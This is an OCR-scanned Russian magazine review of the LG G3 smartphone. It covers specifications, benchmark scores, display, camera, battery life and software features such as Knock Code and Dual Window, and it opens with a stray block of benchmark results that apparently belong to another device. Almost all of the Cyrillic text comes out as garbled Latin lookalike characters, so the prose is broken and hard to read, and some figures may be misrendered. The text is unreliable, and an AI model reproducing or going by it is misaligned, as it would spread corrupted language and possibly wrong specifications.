Vellamo (Multicore): 777 points

3D Mark (Ice Storm): 1716 points / 10 FPS /8,1 FPS /
12,2 FPS

3D Mark (Ice Storm Extrime): 815 points / 3,6 FPS /
2,4FPS /10,8 FPS

3D Mark (Ice Storm Unlimited): 1599 points / 7,8 FPS /
4,8 FPS /10 FPS

Epic Citadel: 44,1 FPS

GFXBench (T-Rex): 441 (7,9 FPS) Onscreen / 74 (1,3 FPS)
Offscreen

AnTuTu Tester: 3642 points

0
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TEXHUYECKME
XAPAKTEPUCTUKH

OnepauuonHas cuctema: Android 4.4.2 Jelly Bean

Mpoueccop: Qualcomm Snapdragon 801, 4 siapa Krait 400
no 2,5 Iy,

OnepartuBHas namarb: 2 6

MocrosxHas namaTe: 16/32 6 + microSD

Ipadmka: Adreno 330

AkpaHn cmaptdona: IPS 5,5", 2560 x 1440, 538 ppi
Cesasb: GSM 900/1800/1900, 3G, LTE

Wurepoeiicei: Wi-Fi 802.11a/b/g/n/, Bluetooth 4.0,
microUSB, 3,5 mm Mutn-gxek, FM-pagno

Darumnku: A-GPS/TNIOHACC, akcenepoMetp, rupockon,
KoMnac, Aat4uku NpuBANXeHns, 0CBELLeHIs, CBETOAMOAHBIN
nHamkarop, UK

Kamepa: 13 Mn, Buneo 4K, agoitHas LED-BcnbiwKa,
onTuyeckasi crabunnsauus, nadepHas gokycuposka /2,1 Mn
AxkkymynsTop: cbemHbiii, 3000 MA -« 4

Pa3amepbl: 74.6 x 146.3 x 8.9 Mm

Macca: 149 1

Liena: 26 990 py6neii

L S |

PE3YJIbTATbl TECTUPOBAHUS

Quadrant Standart: 23 323 points

AnTuTu Benchmark: 29 611 points

Vellamo (Internet): 3078 points

Vellamo (Metal): 1299 points

Vellamo (Multicore): 1633 points

3D Mark (Ice Storm Extrime): 16 279 points / 84,7 FPS /
61,7 FPS /50,2 FPS

3D Mark (Ice Storm Unlimited): 8646 points / 45,8 FPS /
30,4 FPS /30,5 FPS

Epic Citadel: 55,3 FPS

GFXBench (Manhattan): 288 (4,6 FPS) Onscreen / 463
(7,5 FPS) Offscreen

GFXBench (T-Rex): 668 (11,9 FPS) Onscreen / 900 (16,1
FPS) Offscreen

AnTuTu Tester: 5626 points

L S |

K rlis Dambr ns@flicker.com
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Tene@oH ¢ na3epHbIM MPULLETIOM
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Kak H1 cTpaHHO, HO HA MOBWIBLHOM pbIHKE, rae uapcTByoT Apple n Samsung, 3akoHogaTENEM

MopA, Bceraa Obina gpyras loxxHokopenckas komnanus. MimeHHo LG npeacTtaBuna nepsbii TenedoH

C CEHCOpPHbIM YNpaB/iEHNEM, OHa Xe BrepBble co3aana ABYXbAAEPHbIN, a 3aTEM U HYeTbIpeXbAaep-
HbI cMapT@OH. M BOT Tenepb OHa BbiNyCTUIA Ha PbIHOK TenedoH C paspeLlueHnem aucnnesa 2K

(2560 x 1440) n kamepon ¢ nazepHbiM aBTOPOKYCOM. K cHacTbio, pykKOBOACTBO KOMMAHMM NOHANO,

4YTO OAHUMM BbICOKMMU XapaKTePUCTUKAMIN XeNnes3a PbiHOK yXXe He BepHYTb, NoaToMy LG G3 obnapaet
OENCTBUTENIbHO 3KCKJTIO3UBHBIM AN3aNHOM 1 MHOXECTBOM NMPOrpaMmMHbIX GULLEK, UMES BCE LUAHCHI
CMEeCTUTb NoTepsBLUMX OANTENbHOCTb KOHKYPEHTOB C NbedecTtana.

BHELWHUMA BUA U KOMMNNEKTALUSA

Ha ¢oHe octanbHbix cmapTdoHoB LG G3 BbiaenseTcst HeoOblYHbIM
avsaiiHom. CTaHOBUTCSt HEMHOTO He o cebe, Koraa, B3siB B pyku
ragxet, He oGHapyxuBaellb Ha GOKOBbIX rpaHsix annapara kna-
BUMLU FPOMKOCTU U BKJOYeHUs. Mpu 6onee TwarenbHOM noucke
OHW OBGHaPYXMBAKOTCS MO LEHTPY 3a4HEN NaHenn NpsMMKOM Mog,
Kamepolii. Mo cnosam pa3paboT4NKOB AAHHOIO AM3ariHa, UIMEHHO
Ha 3TOM MeCTe O0Mblue BCEro HaxoAuTCa ykasaTeNbHbI naned,
rnoka cMapTdhOH NEXUT B pyke. Ha npakTuke Xe K TakoMy pacrnosio-
SKEHMIO KNaBULL MPUXOANTCS AOBOJSILHO A0NT0 NPUBLIKATb, 1, AaXe
NPVBbLIKHYB, YaCTO NPOMaxMBaeLLbCsl, NbITAsACb «HaXaTb» 0OBbEK-
TB Kamepsbl. CnacaeT T0, 4TO pa3bnokmpoBaTtb TefledOH MOXHO,
NPOCTO MOCTY4aB MO 3KPaHy, MOSTOMY KOJM4ECTBO obpalleHuii
K annapaTHblM kflaBvwamM pesko CHuxaeTcsi. Kpome Toro, ecnu
[0NT0 YAEPXNBaTb KHOMKY YBENMYEHNSI TPOMKOCTU, TO 3anycTuTCs
pefakTop 3aMeToK, a €CAM YMEHbLUEHUS, TO BKIIOYUTCS Kamepa.
CTOVIT TakXe OTMEeTUTb, 4TO, B OTim4me OT npealecTtBeHHuKa,
KOHCTPYKUMs sopaboTaHa, U NO3TOMY KHOMKK Gonblle camonpo-
M3BOJIbHO HE HaXMMAaIOTCS B KapmaHe. Hapg knaBuwamm ycTaHoB-
neH 06bekTUB 13-MeranukcenbHON Kamepbl, C OAHOM CTOPOHbI
OT KOTOPOW HaxoOMTCS COABOEHHAas BCMbILLKA, @ C APYroi Hoy-xay
LG — nasepHebliit npuuen. CHM3y nmeeTcs npopesb A5 LOBOJILHO
rPOMKOro AMHaMuka.

Kopnyc BbIMMSAUT MOHOMUTHBIM METaNINYeckuM BOpycKom,
O[HaKO Ha Aene 3aJHSAS KPbILLKa He TOJIbKO CHUMAETCS, HO elle
1 okasblBaeTcs nnactmaccoBon! Takoro waeanbHOro CXOACTBa
yoanocb fobutbcs 6narogapsi cneumanbHoOW TEXHOMOorMu1, korga
METa/IM3MPOBaHHas NieHka BrnavBaeTcs B nnactuk. Mo moemy
JINYHOMY MHEHMIO, 3TOT NOAXOL UAeaneH: ¢ OAHOW CTOPOHbI, Mbl
nony4yaemM npemMmanbHbIi MeTanIMYeckuii ousaliH, a ¢ Apyrom —
HebOosbLLOV BEC, MEHbLLEe HarpeBaHne Kopryca, amopTi3aumio
npw NaaeHnn, CMEHHbIN akKKyMyNnSaTOP U BO3MOXHOCTb PacLUMpPUTb
namsiTb C NomoLLblo SD-kapTbl, Npuyem 6e3 BCAKMx ckpenok. Bo-
nee TOro, Ha Kopryce OEeNCTBUTENIbHO HE BUAHO HW OTNEeYaTkoB
nasnbLeB, HU LapanvH. Tonbko 3a O4HY 3a4HIOK KPbILIKY Av3aii-
HepaM MOXHO CTaBUTb TBEPAYIO MNATEPKY, HO €CNv NepeBEPHYTb
cMapTdOH, TO MOHMMAELLIb, YTO MOCTaBUII Gbl UM HAMHOTO GOJIbLLIE
6annos. Bce geno B ToM, 4T0 co3parenun LG G3 cMornmn ymecTuTb
B [IOBO/IbHO KOMMAKTHbIA KOPMNYC, HE NPEBOCXOAALLNIA pasmepa-
MW KOHKYPEHTOB C 9KpaHamu B 5 AOMNMOB, ANCTIIEN C AuaroHanbo
noytn 5,5! Takoro «Bonwe6bcTBa» yaanocb AOOUTLCS 3a CHET ca-
MbIX TOHKMX HA CeroAHsALLIHNIA AeHb 6OKOBbLIX PaMOK BOKPYT akpaHa
(okon0 1 MM) 1 MakCMMaIbHOrO UCNOIL30BaHUS AucnneemM GpPoH-
TanbHOM NoBepxHOCTK TenedoHa (okono 76%): cBepxy octanacb
TOHKas MOI0CKa, Ha KOTOPOW 0TATCS ANHaAMUK, GPOHTanbHas ka-
Mepa, CBETOAMOAHbIA NHOMKATOP N AAT4YMKU, a CHU3Y yMeLLaeTcs
VWb NOroTuUM.

Aptém KocTeHko
Izbranniy@mail.ru

Puc. 1.CBepxueT-
Kuii 5,5-010AMOBbIA
2K-3akpaH 3aHumaeT
76% nuueBoi NoBepx-
HOCTK

Puc. 2. BapHas cbeMHas
nnacTtukoBasi naHesnb

BbIMMAAUT KaKk CTanbHasa

Puc. 3. KnaBuwm ynpas-

JIeHNA Haxo4faTCs c3agun.

Tamxe pacnonoxex
W nasepHblii aBTOPoKyC
Kamepbl

Pa3bem Ana HayLWHWKOB, NOPT microUSB 1 oCHOBHOW MUKpO-
bOH pacnonoXeHbl Ha HUXHEN rpaHu, a MIK-nopT ans ynpaenexHus
ObITOBO TEXHMKOM M BCMOMOraTesibHbli MUKPOGMOH HaxomaaTcs
cBepxy. bnarogaps 3akpyrneHHbIM rpaHsiM 1 MaaBHbIM Nepexo-
nam TenedoH ynobHo nexwuT B pyke. LG npeanaraeT nokynarensm
pacLBETKM C MOITUYHBIMW HA3BaHUSIMU: YEPHbIN METANUK, LUIEN-
KOBbIi 6€nbli, CUSIOLLIA 30/10TON.

Ecnn ¢ gusaiiHom y TenedoHa NosHbIA NOPSAOK, TO C KOM-
nnekTaunen gena obcToAT 6onee 4eM ckpomHo: LG nonoxwuna
B KOPOOKY C TenedoHOM N1Llb NPOBOAHOE 3apsaHOe YCTPOMCTBO
Ha 1,8 A (xoTa annapat noaaep>XxmsaeT n 6eCnpoBOAHYIO 3apPSAKY)
[a coeamHuTenbHbIN kabenb microUSB. 3a 27 Toicay pyGneit xoTe-
JIOCb HEMHOTO 60MbLUErO.

3KPAH

O TOM, Kak MacTepcku paspaboTtiuku BcTpounn 5,46-piou-
MOBbIA 3KpaH B KOPMNYC LUMPUHON 74,5 MM, Mbl y>Xe roOBOpUAN,
Tenepb CTOUT ynoMsiHyTb paspelweHve Quad HD, 6naropaps
KOTOPOMY [AO0CTUraeTcsl PEKOPAHbIN nokasatenb MJ0THOCTH
Touyek 538 ppi. XoTs no 6onblioMy cyeTy pasHuuy mexay Full
HD »n Quad HD 3ameTuTb 6€3 cneumnanbHbix NPUOOPOB Npak-
TMYECKN HEBO3MOXHO, a BOT 3HepronotpebneHve n3-3a Ta-
KOro paspelleHusi 3Ha4uTeNnbHO yBenuyusaetcs. B aucnnee
ncnonbsyetca martpuua True HD IPS+, koTopas peannctnyHo
nepepgaeT KapTUHKY NPaKkTU4ecku nog NobeiM yrnoMm ob3opa.
3akpbIT akpaH cteknom Gorilla Glass 3 ¢ 01e0d0o6HbIM (XKUPO-
oTTankmalowmum. — lpuM. pepn.) NOKPbITUEM U aHTUBANKO-
BbIM GUNLTPOM. M ecnv nepBoe OTNNYHO CnpaBnseTcs ¢ 06s-
3aHHOCTAMM — cnefbl OT ManbLUeB Nerko yaansiTcs, To BOT
6nukoBaHMe Yy 9KpaHa [O0BOJIbHO CUNbHOe. Mexay CTek/om
1 HernocpeacTBEHHO MaTtpuLein OTCYTCTBYyeT BO3AyLIHASA Mpo-
cnoiika, aucnner obnagaet 6onblunm 3anacomapkoctu (ot 10 4o
480 ka/m?), koToporo 6yaeT A0CTaTOYHO Kak HOYblo, TaK U, He-
CMOTPSl Ha GNUKK, B ACHBIA CONHEYHbI AeHb. MNpaBaoa, aBTo-
mMartmyeckas MoAcBeTKa MHOrAa aBTOMaTMYeCcKkn 3aHuxaeT ee
YPOBEHb C LieNblo 9KOHOMUM 3apsiga. CTOUT OTMETUTb BENIUKO-
JIEMHYIO PABHOMEPHOCTb NMOACBETKN: OTCYTCTBYIOT TEMHbIE NSAT-
Ha 1 3aCBEeTbI, TakXe eCTb HeoTKJIIo4aemMas AMHaMmmn4eckas noa-
CTpolika SipKOCTU B COOTBETCTBMM C XapakTePOM BbIBOAVMOIO
n3obpaxeHuns. dkpaH MmeeT cbanaHCUPOBAHHYKD Temnepary-
py, LBETOBOW oxBaT npakTuyeckn paseH sRGB, useta msarkue
1 B Mepy KoHTpacTHble (750 : 1). Aucnnei nony4uncs aencrem-
TEIbHO OYEHb XOPOLLWM, YETKUM U IPKUM, HO BOT paspeknamu-
poBaHHoe 2K-paspeLlueHne — 370 60/blle MaPKETUHIOBbIV XOA,:
rnasy o4eHb CJI0XKHO 3aMeTUTb PasHuLy, Aa U GONbLLIMHCTBO UIP
noka He NoAAePXMBAIOT €ro, a BOT Harpy3ka Ha Xeneso 1 akky-
MYNSTOP TOJIbKO BO3pacTaeT.
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ANMNAPATHASI HAYMUHKA

Ons nopnepxaHns KOM@OpPTHON paboTbl C AKPAHOM TaKoro pas-
peLueHns HeobxoaMmMa MolLHasa annapaTtHas cuctema. CMapTdoH
paboTtaeT Ha HoBeWweli nnatdbopme Qualcomm Snapdragon 801
C YeTblpexbsiAepPHbIM NPOLLECCOPOM YacToTon 2,5 M, 1 rpadurye-
ckum sigpom Adreno 330. CyluecTByioT Be Bepcun cMapTdoHa:
c 2 [6 onepatvnBHoW namsatn n 16 6 BcTpoeHHol u ¢ 3 6 one-
patuBHoIt 1 32 6 BCTpoeHHo. B Poccuun celivac, K coxaneHuio,
[OCTyMNHa Nvwb nepsas mogenb. NoMrMo cCO6CTBEHHON namaTu
TenedoHa, Noa, KPbILIKOM NPeAyCMOTPEH M CNOT MOA, KapTy namsi-
TV, NoAAepXmBaioLwLmii paboTy ¢ microSD o6bemom no 128 6, Tam
e pacnosfioxeH 1 cnoT noa, microSIM.

Cyasa no HEKOTOPbLIM TeCTaMm, U3 Bcex pnarMaHoB NepBO Mo-
noBuHbl 2014 ropa KONMYECTBO «MOMNyraes» 34eCb MUHUMaNbHOE:
CKa3blBaeTCst OrPOMHOE pa3peLleHre aKkpaHa npu NPoYMx PaBHbIX
ycnosusix. Ho He ctouT nepexuBatb: Ha LG G3 6e3 npobnem nayt
Ha MakcuMasibHbIX HACTPOIKax BCe Urpbl, Aa U MHTepdeEC cucte-
Mbl TOXe paboTaeT rnagko, naru oTcyTCTBYIOT. [1pn 3TOM Harpes
KaK NMUEBON 4acTu, Tak W TbUIbHOW NaHenu B npepenax ypoBHS
KomdopTa.

JAvHamunk Ha 1 BT y cMapTgoHa X0Tb 1 FPOMKUIA, HO, K COXa-
JNIEHWNIO, OH NNLLb OAWH, MOSTOMY HMKaKOro CTEPEe03ByKa Thl HE yC-
JIbILWMLWb, K TOMY Xe OH 06paLleH B MPOTMBOMOJIOXHYIO OT MOJib-
30Batenst CTOPOHYy. PasroBopHbI AMHAMUK TOXe [O0BOJIbHO
rpoMKUiA 1 YnCTbIR. Ona niobuteneii petpo nmeetcsa FM-paguo.
TenedoH nopaepxmsaeT ctaHgapTel USB-OTG 1 USB-Host, no-
3TOMY K HEMY MOXHO Nerko NOAK/I0YNTb BHELLHIOW ¢eLuky. EcTb
mopynb Bluetooth 4, Wi-Fi 802.11a/ac/b/g/n ¢ noanepxkon Tex-
Honoruii Wi-Fi Direct n paboTbl B kayecTBe poyTepa, aatymku GPS
1 ITIOHACC 6bICTPO HAaxXOASAT CYTHUKW, HY U KyAa COBPEMEHHOMY
dnarmaHy 6e3 NFC 1 MK-nopTa. A BOT ¢ ocHoBOW dyHkumelt y LG
G3 umetoTcs npobnembl. Annapar padoTaeT B ceTax GSM, HSDPA
1 LTE, HO Ka4eCTBO Nprema y Hero Aaneko He 13 NyyLmx: NOCTOSH-
HO TepsieTcs ceTb. Pa3paboTynky akTUBHO 3aHMMAIOTCS PeLleHu-
eM Npobsiemsbl, 1 €CTb BCE LLAHCbI, 4TO K MOMEHTY BbIXOAa CTaTby
CUTyauuns yNyyLInTCs.

KAMEPA

LG G3 ocHalleH OBymMs MOAynsiMU Kamep € paspeweHusmmn 13
n 2,1 Mn. ®poHTanbHas, B pycne nocneiHux TpeHaoB, npeaHa-
3HayeHa ana cendu n UMeeT B nHTepdelice Non3yHOK, B peasb-
HOM BpeMeHU youpatoLmii ¢ Inua NpbILLMYKKA U NPOYNE HEPOBHO-
cTn. Moaynb Hennoxo cnpasnsieTcs ¢ GOoTo B €1abo OCBELLLEHHOM
NMOMELLLEHMM: Y KaMepbl €CTb MMUTaLMS BCMbILWKW, CMapTdOH ae-
naeT akpaH 6efbiM, TEM CaMbIM NOACBEUYMBas NNLO. CHUMKM 1 BU-
neo kamepa genaet B paspeweHun Full HD. UHTepecHaa duya
COCTOWT B TOM, 4TO €C/IM MEANIEHHO BHECTU B Kaap Pyky, a 3atem
ee cxaTb B KyJiaK, TO BK/IloYUTCS TaiimMep obpaTHoro otcyeTa. me-
eTcsa U GyHKUMS OAHOBPEMEHHON 3anucy Ha Be KaMepbl.

OcCHOBHasi kamepa OCHallleHa YCOBEPLUEHCTBOBAHHON ONTU-
yeckor ctabunmnsaumen n3obpaxeHus, CABOEHHOW BCIbILIKOMA,
nossonsioLeri 6onee TO4HO Nepepasartb 6anaHc 6enoro No cpas-
HEHMIO C 0AMHapHbIM cBETOANOA0M, Anadparmolii f/2.0 n nHHoea-
LIMOHHOWM CUCTEMOW NasepHon HoKycupoBku. Moxoxas cuctema
npuMeHsieTcsl B NPodeCcCcroHanbHbIX 3epkasibHbix doTokamepax,
Korpa paccTtosiHme Jo obbekTa 3amMepsieTCsi Mo BpEMEHU, KOTopoe
3aTpaynBaeT nasepHblii nyd, 4Tobbl OONTM OO0 oObekTa u, oTpa-
3UBLUMCb, BEPHYTbCS. [0 cnoBam pa3paboTymkoB, Ha GOKYCUPOB-
Ky TpebyeTcs Bcero 276 mc.

WNHTepdeiic ynpocTunm 4o MUHUMYMA: MOMUMO KHOMKW CHUM-
Ka 1 Hayana 3anncu BUAEe0, UMEIOTCS KNaBuLLIa NePEKITIoYeHns pe-
XUMa BCMbILWKK, CMEHbl Kamepsbl, BbIOop pexuma («ABTo», «Bon-
LwebHbI hokyc», «[aHopama» 1 «[BONHON») N MKOHKA HACTPOEK,
B KOTOPYIO BKJIIOYEHbI CMEHA pa3peLLeHnsi CHUMKa 1 Bugeodaiina,
HaCTpOliKa ronocoBbIX KOMaHa, 1 pexunm HDR. Hukaknx HacTpoek
1SO, Bblaepxku, 6anaHca 6enoro 1 Tak aanee. Mpu xenaHum NH-
Tepdenc MOXHO 1 BOBCE OTKIIIOYUTb U AeNaTb CHUMKMW MPOCTbIM
Tanom B No6OM MecTe akpaHa. Buaeo kamepa cnocobHa CH1UMaTb
B paspeleHnn oo 4K, a Takxke MMeeTcst BO3MOXHOCTb AenaTb BU-
[,eoponnkun B 3aMeieHHOM pexume. MNpu cbemke Buaeo pabota-
eT cneasawmn asTogpokyc.

KayecTBO kak BMAEO, Tak U CHUMKOB MOJy4aeTCsl OYEHb XO-
powee. 3PdeKT «3amblIMBaHUS» CNabo BbIPAXEH, HO U NNLIHNE
LUYMbl HE MOSABASIOTCS, AAXE B MNJIOXO OCBELLEHHOM MOMELLEHNN.
Jaxe Ha panbHWX NnaHax Aetany He CMBAlOTCH, a YX nepea-
HME MOXHO M3y4nTb BO BCEX MOAPOGHOCTAX. VIHTEpeceH pexum
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«BonwebHblli hokyc» — BGnarogaps eMy MOXHO MeHSTb OObekT,
Ha KOTOPOM HYXHO CHOKYCMPOBATLCH YXe Ha rotoBon doTorpa-
dun, Npn 3TOM ocTanbHble 06bEKTHI ByayT cnerka pa3mbiTbl. Ce-
puUiiHasa cbeMka 3anycTuTCcsi aBTOMaTM4eCKu, ECNN 3aXaTb KHOMKY
cbeMkn. CKOpOCTb BbICOKast, 1 3a OAWH pa3 MOXHO caenatb A0 99
kanpoB. Y LG G3 npekpacHo HaligeH 6anaHc Mexay XopoLuei on-
TUKOW U KQ4eCTBEHHOI NOCTOOPaABOTKON, H4TO AaeT NpaBo Ha3BaTb
Kamepy 3Toro cmaptdoHa OAHON U3 NyYLNX HA AaHHBIA MOMEHT
1 BMOJIHE CNOCOBHOM 3aMEHNUTb «MblIIbHULLY>.

OTAenbHO X04eTCsi OTMETUTb MOLLHbIA BCTPOEHHbIV doTope-
[aKTop, B KOTOPOM MOXHO MPOW3BECTU aBTOMAaTUYECKOE YIy4-
LUeHMe CHMMKA, KaapupoBaTh N300paxeHne, N3MEHUTb SPKOCTb,
KOHTPACT, HACBILLLEHHOCTb, TEHN UV LIBETOBYIO TEMMNEPATYpPy BCe-
ro CHYMKa UM OTAENbHbIX 30H, @ TaKXe HaNIOXUTb pasnnyHble a¢-
bekTbl 1 GUNLTPHI.

ABTOHOMHOCTb

OrpomMHbIii gucnnei Co CTOMb Xe OrPOMHbIM pa3peLleHNeM He-
06Xx0AMMO XOpoLo nutaTb. AToi paboToit B LG G3 3aHMMaeT-
Csi CbeMHbI Li-ion akkymynsatop emkocTteto 3000 MA - 4. Pas-
paboTunky YTBEPXAAIOT, YTO B annapare NPUMEHEH HOBbIA TUM
aKKyMynsTopa, B KaToAe KOTOPOro MeTasl 3aMeHeH Ha rpacdurT,
4YTO [OJKHO KOMMEHCUPOBATb MOBbILLEHHbIE 3HEPro3arparbl.
Ha nene ato He 0060 3aMETHO, U «XMBET» rafi)keT MeHbLLE KOHKY-
peHTOoB. BbicTpee Bcero (3a Tpu 4aca) 6atapeio pa3psxatoT, ecre-
CTBEHHO, 3D-urpbl, NPOCMOTPa BUAEO XBAaTUT Ha BOCEMb 4aCOB,
4YnTatb MOXHO OKOJIO OEeCATU, HO 3aTO B pexunmMme oXungaHus rag-
XET MOXET MPOTAHYTb Heaeno. TeM He MeHee Npu cpefHen Ha-
rpy3ke annapar CrokoMHO AOXMBAET A0 BeYepa, a BOT Npu O4eHb
WHTEHCMBHOM MCMOJIb30BAHUN MOXET NOTPeboBaTbCs NoA3apsa-
Ka B TeyeHue OHsA. Hennoxo paboTaeT pexum aHeprocbepexe-
HMS, KOTOPbI MOXET MPOAINTL CPOK XM3HW annapara NpoLeHTOoB
Ha 25. Mpu akTMBaLMMN 3TON GYHKLMM CHMXKAETCS SPKOCTb 9KpaHa,
oTKNoYatTes 6ecnpoBoaHble Moaynv, BUOpaums, aBTOCUMHXPO-
Hu3aumsa n niamkatop. O6HoBNEHHbIN AnTuTu Tester BolgaeT 5626
«Mnonyraes», YTO HAXOAMTCS MPUMeEPHO Ha ypoBHe Galaxy S4, xoTa
peanbHo TenedoH paboTaeT NnomeHbLle. HaBepHoe, Bce B cMapT-
dOoHe He MOXET BblTb AeanbHbIM, HYXXHO UATU HA KOMMPOMMUCCHI,
1 aBTOHOMHOCTb SIBNSIeTCS OAHMM U3 Hux. LG G3 nmeeT BCTpOEH-
HYI0 BO3MOXHOCTb 6ecnpoBoaHoii 3apsaku. Mo npoBoay annapar
MOMHOCTbLIO 3apsixaeTcs 3a 2,5 4, a No BO3AyXy NpuMepHo 3a 4,5 4.

NMPOrPAMMHOE OBECNEYEHUE

CospaBas cBoi dnarmaH, komnaHusa LG peicteoBana nog no-
3yHroM «MakcumanbHO YMHOE 1 MakCuUMasibHO NPOCTOE B ynpas-
JIEHUN YCTPONCTBO». IMEHHO NO3TOMY B HOBOM dpnarMaHe MHO-
XecTBO Smart-dyHKUMI 1 Npy 3TOM NPEenEeNbHO YNPOLLEHHbIN
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«MNOCKNIN» au3aiiH nHtepdeiica, KOTOpbI BbipaXKaeTcs B MakCu-
MasbHOl NpocToTe LuBeTa, GOPM 1 OTCYTCTBUM NINLLHUX AeTanewn.
JaHHblli cTunb cnpasegvB U ans 60NbLIMHCTBA NPeayCcTaHOB-
JIEHHBIX MPOrpamMm, KOTOpble NPY HEOOBXOAUMOCTM MOXHO JIerko
yAanuTb U3 CUCTEMBI, He Npuberas K «nnsckam ¢ 6yoHom». Monb-
30BaTbCs MHTEPPENCOM J0BOSLHO YAO0OHO, 1, YTO CaMoe MaBHoe,
13-3a 0Tka3a OT YPe3MEPHOro yKpaLlaTenbCTBa OH MOYTU He nara-
eT. O4eHb HaAEICh, YTO CJI0BO «MOYTU» YNAET C BbIXOAOM HOBbIX
npowmsok. B ocHose MO LG G3 nexut Android 4.4.2 KitKat. He 6y-
[EeM BOaBaTbCs B A€TaNV JaHHOW OnepaLMoHHOM CUCTEMBI, @ pac-
CMOTPUM NNLLb JONONHUTENbHBIE PULLKM N BKYCHOCTM, KOTOPbIMU
nopazoBanun Hac pa3paboTynKu.

Knock Code. No3Bonset pas3bnokuposartb TenedoH, BBeas
KOMOVHAUMIO MOCTYKMBaHUIA MO Pa3dHbIM Y4acTaM dkpaHa, 4To 3a-
MeHsieT LMbpoBOM 1 rpadumyecknin kogel. [laHHoe AeiCTBME MOX-
HO caenaTtb Ha aKpaHe 670KMPoBKM. Kpome aToro, ABOMHONM Tan
B II060M CBOHOHOM MECTE 3KpaHa ByaAUT «BbIKIIIOYEHHbIN SKpaH»
6nokmpyeT unu pasbnokupyet TenedoH A0 akpaHa 610KNMPOBKU.

KnaBuwm ynpaenenus. LG G3 gaet nonHyo ceso6oay no Bu-
[OV3MEHEHMIO KNTaBULL YMPABIEHUS: MOXHO BblOMPaTb MOPSOoK
cnefoBaHus, UBET, MPO3PaYHOCTb, CKPbIBATb B Urpax, A06ABNSTL
OOMNOJSIHUTENbHBIE KHOMKM 1 Tak Janee. Hanpumep, MOXHO nepe-
HecTn knaBsuwy «Hasag» nobnvxe K TBOEMY GOMNbLLIOMY NanbLy,
4TOObI ObIN0 YA06HO paboTaTk OAHON PYKOI, a TakXe BbIHECTU OT-
OenNbHO KHOMKY A5t CKPUHLLIOTOB. MpusiTHas Menoyb: yaepxaHune
knasuwn «Cnncok 3anyLeHHbIX MPUTOXEHNI» OTKPLIBAET MEHIO.

Dual Window. YaepxaHue KHornku «Hasaa» oTKpbiBaeT MEHIO
C MPpUIOXEeHUAMU, KOTOPble MOXHO 3anyCctuTtb OAHOBPEMEHHO
Ha aKpaHe. 34eCb HYXHO MepeTawmUTb OAMH 3HAYOK NMPOrpaMmbl
BBEPX, @ ApYroi BHM3. ByayTt paboTtatb 0AHOBPEMEHHO 06a npu-
JIOXEHUS!, MPUYEM MOXHO PerynMpoBaTb NPOCTPAHCTBO, KOTOPOE
OTBOAMTCS MO, KaXAY0 U3 HUX. Cpeamn [OCTYMHbLIX MOXHO HanTN
«CMC», «bpaysep», «KapTbl», «Fanepes», <YouTube», «dDainossli
MeHexep» 1 apyrue.

QSlide. Kpome npeppiayLuer GyHKLMN, HEKOTOPbIE NPUIoXe-
HUs, Takme kak «Kanbkynsitop», «Kanengapb», «Buoeonpourpbl-
BaTesb», MOXHO 3aryckaTb B HEGOJbLLIOM OKOLLKE NPSIMO NOBepX
OPYrvx NPUIOXeEHWUiA, NepeTackmMBatb UX, N3MEHSITb pa3Mep um
npo3pa4yHocTb. Kpome Toro, npu noctynieHnn HoBo SMS Bbl-
CKakvBaeT HebONbLLOE OKOLLKO, e MOXHO Mpo4nTaTh coobLue-
HWE N TaM Xe OTBeTUTb 6e3 OTpbIBa OT NPOrpammebl, B KOTOPOWA
npoucxoauTt paboTa.

KnaBuatypa. B LG G3 ycraHoBneHa pupmeHHas knasuarypa
C HECKONbKMMU MHTEPECHBbIMW 0COBeHHOCTaMU. Hanpumep, ee
MOXHO CMECTUTb K JIEBOMY WS MPaBOMY Kpato akpaHa ans 60-
nee yno6bHoro Habopa TekcTa OfHOW PyKOl, pasaennTb nononam
1 OTPEerynmpoBaTtb BbICOTY. Ha OCHOBHYIO packnazky MOXHO Tak-
Xe [06aBuTb [BE KMNaBMLLM CO 3HaKaMW NMPEnUHaHUS MO CBOEMY
YCMOTPEHUIO N BbIOpaTh OHY U3 HECKOJIbKUX TEM 0DOPMIEHUS.
EcTecTBeHHO, NPUCYTCTBYIOT NPeanpocMOoTP C/0B 1 Habop ceaii-
nom.

Smart Notice. l'eHepaTop noacka3ok, oTobpaxaemsblil Ha pa-
6o4eM cTone. YTunuta npenynpeamnt o BO3MOXHON CMeHe noroapl
B TEYEHUNE OHS, HAMOMHUT NEPE3BOHUTb MO NMPOMYLLEHHBIM HOME-
pam, NpeasioXnT Ao06aBNTb YaCTO 3BOHSILLMX aOOHEHTOB B CMINCOK
KOHTAKTOB, NO3APaBUT Tebsi, eCnv Thl CXEr HeOBXOANUMYI0O HOPMY
Kanopui, HAaNMOMHUT O IHE POXAEHUS APY3€eli U BaXHbIX BCTPEYaX.

LG Health n Smart Tips. 3T1m AByM NnporpaMmmam nocesiLLEeH
oTAenbHbIN paboynii cton. MNepeas 3a60TUTCS O TBOEM 3L0POBbLE,
COCTaBNsSeT NPOrpamMmy TPEHVMPOBOK M CYATAET Liaru, a BTopas
y4nT 06paLLaTbCs CO BCEMU YMHbBIMU QYHKUMSMU TenedoHa.

XecTbl. CMapTHOH pacno3HaeT ABMXEHUS B MPOCTPAHCTBE.
Hanpumep, MOXHO cpenatb cendu, 3anycTtMB TPEXCEKYHIHbIN
obpaTHblii OTYET MPOCTBLIM CXaTueM NafoHW B Kagpe, OTBETUTb
Ha BbI30OB, NoaHecs TenedoH K yXy, NPUryLWNTb CUrHas, NOAHSAB
TenedoH Co cTona, Uy NepeBepHyTb annapar, YToObl OTKIIOYNTb
My3bIKy, BUOEO UK 3BYK BXOASLLEro Beidosa. Kpome Toro, LG G3
MOXET CNneanTb 3a B3MSAOM M He OTKIII0HYaTb 3KpaH, noka Ha Hero
CMOTPSIT.

QuickMemo+. JJaHHas yTunuTa 3anyckaeTcs npu yaepxusa-
HUWN KHOMKM YBESIMYEHUSI TPOMKOCTU, @ TakXXe eCTb BO3MOXHOCTb
BbIHECTN €e K OCHOBHbIM KHonkam Android. OHa No3BonsieT Co3-
[aBaTb TEKCTOBbIE U rpaduyeckme 3ameTKn Ha YCTOM NNCTE Un
Ha CKPUHLLIOTE 3KpaHa.

Quick Remote. MHOrodyHKUMOHaNbHbIN NYNbLT AN18 ynpasie-
HWSA JOMALIHEN TEXHWUKOW, NOAXOAWT Anst 60MbLIMHCTBA NPUGOPOB,

TenepoH c 1asepHbIM rpuULEesIoM

Puc. 6. YMHbIi uexon
Quick Circle He Tonbko
3aWmTUT TBO CMapT-
$OH, HO U f,0GaBUT UHTe-
PecHbIe BO3MOXHOCTUN
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o6opyaoBaHHbIX nNpueMHukom MK-curHanoB. MOXHO HacTpoUTb
